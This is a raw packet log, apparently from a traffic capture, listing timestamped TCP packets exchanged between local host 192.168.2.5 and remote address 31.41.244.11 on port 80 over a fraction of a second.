Dec 17, 2024 08:03:30.019258976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.019335032 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.019376993 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.020164967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.020207882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.020250082 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.020297050 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.021121979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.021151066 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.021171093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.021198034 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.022007942 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.022053957 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.022126913 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.022175074 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.022969007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.023024082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.023050070 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.023092031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.024312973 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.024360895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.024373055 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.024410963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.024981022 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.025024891 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.025068998 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.025111914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.025832891 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.025880098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.025921106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.025963068 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.026601076 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.026647091 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.026694059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.026737928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.027502060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.027549982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.027591944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.027631998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.028625011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.028687000 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.028717995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.028759003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.029284954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.029324055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.029382944 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.029439926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.030280113 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.030325890 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.030368090 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.030409098 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.031369925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.031418085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.031454086 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.031495094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.032138109 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.032186031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.032206059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.032248974 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.032953024 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.033004045 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.033071995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.033117056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.033890009 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.033943892 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.033997059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.034040928 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.034836054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.034888029 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.034961939 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.035006046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.035713911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.035759926 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.035937071 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.035989046 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.036621094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.036660910 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.036739111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.036783934 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.037549019 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.037596941 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.037718058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.037759066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.038526058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.038583040 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.038712025 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.038758039 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.039375067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.039418936 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.039458036 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.039501905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.184144974 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.184206963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.184233904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.184269905 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.184583902 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.184632063 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.184689045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.184722900 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.185523033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.185568094 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.185633898 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.185672998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.186410904 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.186454058 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.186718941 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.186760902 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.186784029 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.186819077 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.187657118 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.187700987 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.187719107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.187756062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.188540936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.188581944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.188590050 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.188627005 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.189439058 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.189476013 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.189546108 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.189584017 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.190385103 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.190421104 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.190471888 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.190510988 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.191286087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.191329956 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.191391945 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.191430092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.192182064 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.192226887 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.192292929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.192341089 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.193106890 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.193146944 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.193216085 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.193255901 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.194026947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.194067955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.194113970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.194152117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.194927931 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.194974899 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.195009947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.195050955 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.195961952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.196007967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.196048021 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.196085930 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.196774006 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.196822882 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.196894884 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.196937084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.197724104 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.197763920 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.197818041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.197869062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.198611975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.198656082 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.198721886 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.198764086 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.199527979 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.199573994 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.199645042 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.199687958 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.200444937 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.200500011 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.200551987 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.200593948 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.201353073 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.201400995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.201455116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.201493979 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.202271938 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.202308893 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.202445030 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.202485085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.203166962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.203208923 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.203265905 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.203306913 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.204081059 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.204125881 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.204165936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.204210997 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.205018997 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.205063105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.205138922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.205180883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.205928087 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.205971003 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.206114054 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.206161022 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.206847906 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.206891060 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.206969976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.207010031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.207772970 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.207818031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.207895041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.207932949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.208683968 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.208726883 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.208751917 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.208794117 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.209597111 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.209638119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.209698915 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.209743023 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.210664034 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.210705996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.210748911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.210788965 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.211421967 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.211467028 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.211530924 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.211575031 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.212358952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.212408066 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.212466955 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.212510109 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.213300943 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.213340998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.213381052 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.213423967 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.214224100 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.214266062 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.214344978 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.214385986 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.215112925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.215153933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.215231895 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.215272903 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.216085911 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.216130972 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.216162920 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.216200113 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.216912985 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.216957092 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.217025995 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.217065096 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.217833996 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.217870951 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.217910051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.217947960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.218775988 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.218811035 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.218950033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.218992949 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.219665051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.219698906 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.219767094 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.219810963 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.220657110 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.220700026 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.220752954 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.220792055 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.221520901 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.221563101 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.221605062 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.221647978 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.222450018 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.222497940 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.222564936 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.222599983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.223362923 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.223407984 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.223485947 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.223532915 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.224284887 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.224328995 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.224447966 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.224489927 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.225157976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.225202084 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.225286007 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.225359917 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.226119041 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.226164103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.226208925 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.226249933 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.227030039 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.227070093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.227185011 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.227226973 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.227931976 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.227982998 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.228044033 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.228082895 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.228835106 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.228878021 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.228909016 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.228946924 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.229773045 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.229818106 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.229857922 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.229896069 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.230669975 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.230710983 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.230757952 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.230801105 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.231714964 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.231764078 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.231820107 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.231863976 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.376405001 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.376490116 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.376578093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.376578093 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.376807928 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.376867056 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.376905918 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.376959085 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.377788067 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.377840996 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.377907991 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.377955914 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.378724098 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.378776073 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.378920078 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.378967047 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.379018068 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.379064083 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.379883051 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.379933119 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.380003929 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.380052090 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.380840063 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.380888939 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.380943060 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.380990982 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.381661892 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.381711960 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.381783962 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.381834030 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.382575035 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.382625103 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.382683992 CET	80	49867	31.41.244.11	192.168.2.5
Dec 17, 2024 08:03:30.382730961 CET	49867	80	192.168.2.5	31.41.244.11
Dec 17, 2024 08:03:30.383510113 CET	80	49867	31.41.244.11	192.168.2.5
